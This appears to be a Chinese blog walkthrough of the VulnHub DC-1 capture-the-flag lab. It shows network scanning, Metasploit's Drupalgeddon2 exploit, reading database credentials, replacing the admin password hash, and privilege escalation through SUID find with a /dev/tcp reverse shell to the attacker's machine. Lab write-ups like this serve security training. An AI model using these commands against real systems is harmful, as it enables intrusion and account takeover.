当前位置: 首页 > article >正文

DC-1靶机搭建与通关详解

下载地址:https://download.vulnhub.com/dc/DC-1.zip

虚拟机与DC-1靶场必须网络适配器都为NAT

下载解压后直接在我们的虚拟机中打开,就是以下的样式:

一、查询IP(在我们自己的kali虚拟机中进行目标ip地址探测)

配置好之后使用kali的指令来进行探测

先查看自己的ip地址:

指令:ifconfig

可以看到我们的虚拟机的ip为192.168.141.130

接下来利用工具探测DC-1靶机的IP,这里我提供三种工具都可以探测:

工具一:arp-scan

arp-scan -l

 可以根据MAC地址推断出我们的目标ip地址为:192.168.141.131

 工具二:namp

nmap -sP 192.168.141.0/24

这语句的意义是探测这个网段的IP地址从192.168.141.1开始,到192.168.141.254结束(192.168.141.0和192.168.141.255有特殊含义不能当做ip地址) 全部的ip地址。

可以看到我们也探测出来目标的ip地址:192.168.141.131

工具三:netdiscover

netdiscover

也可以探测出目标ip地址:192.168.141.131

二、开发端口的探测

 开发端口的探测可以利用nmap与kali自带的工具whatweb

工具一:nmap

nmap -sV -p- 192.168.141.131
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535

可以看到打开了80端口,80是http协议,我们用浏览器访问一下看看 。

 这里我们可以利用一个插件来看看一些基础的信息:wappalyzer

工具二:whatweb

whatweb -v 192.168.141.131

内容比较多我就不全部放出来了,大家自己一定要仔细静心看看:

 对信息进行一个梳理,Drupal我们知道是存在漏洞可以利用的。

三、利用伟大的msf工具进行漏洞利用

msfconsole

 打开我们的msf工具

 输入命令找到所存在的漏洞指令与内容

search Drupal

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

接着看一下该漏洞模块参数  

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容,创建我们的目标:

set RHOSTS 192.168.141.131

然后开始攻击,开始攻击exploit和run是一样的,用exploit也可以 。

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell 。

shell
交互python -c 'import pty; pty.spawn("/bin/bash")'
然后使用指令ls得到文件

第一个flag(cat指令抓取)

可以看到有flag文件

cat flag1.txt

 Every good CMS needs a config file - and so do you.(每个好的CMS都需要一个配置文件——你也是)

代表我们得到了第一个flag

第二个flag(信息收集)

利用指令寻找有没有其他flag文件

find / -name flag*

可以看到我们只有这一个 包含flag关键字的文件。

去网上寻找相关的资料

Drupal会在sites/default目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以思路是去找到这个文件。

使用我们的指令

find / -name settings.php
然后打开文件查看内容是什么
cat /var/www/sites/default/settings.php

找到我们的flag2。

 仔细看其他部分的内容发现数据库信息

那么接下来我们的目标就是连接数据库,看看其中有什么内容

mysql -u dbuser -pR0ck3t

 选中我们的dr数据库然后查看其中有什么表存在

use drupaldb;
show tables;
输入指令的时候不要忘记带上分号

仔细读表后我们可以发现存在users表

那么肯定我们先是选择看一下users表中的内容

show columns from users;

看一下有哪些用户名
use drupaldb;
select name from users;

 

看一下有那些密码
use drupaldb;
show name,pass from users;

这里明显对密码进行了一个加密,这里加密基本上都是加盐了,解密行不通但是我们可以使用ctf中添加数据的思路看看自己能否添加一个用户。

第三个flag (数据库数据更改操作)

那么我们就要找到它的加密脚本了

这里明显是使用了哈希进行加密。

exit
退出数据库
find / name -'*hash*'

明显第一个在/var/www目录下的就是加密脚本,

scripts/password-hash.sh 'admin123'>1.txt
我们利用脚本自己加密一个密码写入到1.txt中

使用cat指令打开即可看到加密过后的密码了。

接下来我们去数据库更改数据,先重新连接我们的数据库,然后打开users表

update users set pass='$S$D1zLJjS7uuGrkF/xd6VtU6kzB2xqLKN/H7qHbaRr8KcAXtZSUcJ/' where uid=1;

可以看到我们的数据更改成功,在网页登录就可以看到flag3了。

第四个flag(提权加shell反弹)

提权得到我们的flag,利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

 find /etc/passwd -exec bash -ip >& /dev/tcp/xxxx自己虚拟机的ip/4444(监听端口) 0>&1 \;

 在虚拟机输入监听指令

nc -lvp 4444

 完成靶机的所有训练

之前参加一个项目去了,现在才有时间来进行一个更新分享。


http://www.kler.cn/news/341824.html

相关文章:

  • 基于java的零食销售系统(源码+定制+开发)
  • vSAN06:ESA与OSA对比、ESA安装、新架构、工作方式、自动策略管理、原生快照、数据压缩、故障处理
  • 【PostgreSQL 】实战篇——如何使用 EXPLAIN 和 ANALYZE 工具分析查询计划和性能,优化查询
  • 大数据新视界 --大数据大厂之大数据于基因测序分析的核心应用 - 洞悉生命信息的密钥
  • QT day05
  • torchvision.transforms.Resize()的用法
  • 视频流媒体融合与视频监控汇聚管理系统集成方案
  • 【韩顺平Java笔记】第8章:面向对象编程(中级部分)【285-296】
  • 【JDK17 | 4】Java 17 深入剖析:增强的文本块功能
  • 大数据新视界 --大数据大厂之 Druid 查询性能提升:加速大数据实时分析的深度探索
  • 十一NGINX
  • 软件测试学习笔记丨MongoDB
  • Unity3D相关知识点总结
  • Python从入门到高手6.1节-字符串的定义与编码
  • 车载电源OBC+DC/DC
  • 25西安电子科技大学考研预报名人数信息—公布
  • OmniPlan Pro for Mac 项目管理流程软件安装教程【保姆级教程,简单小白轻松上手】
  • 机器学习中的熵(Entropy)是什么?
  • 修改 antd a-popover气泡卡片弹窗背景颜色
  • 代码随想录算法训练营第四十六天 | 647. 回文子串,516.最长回文子序列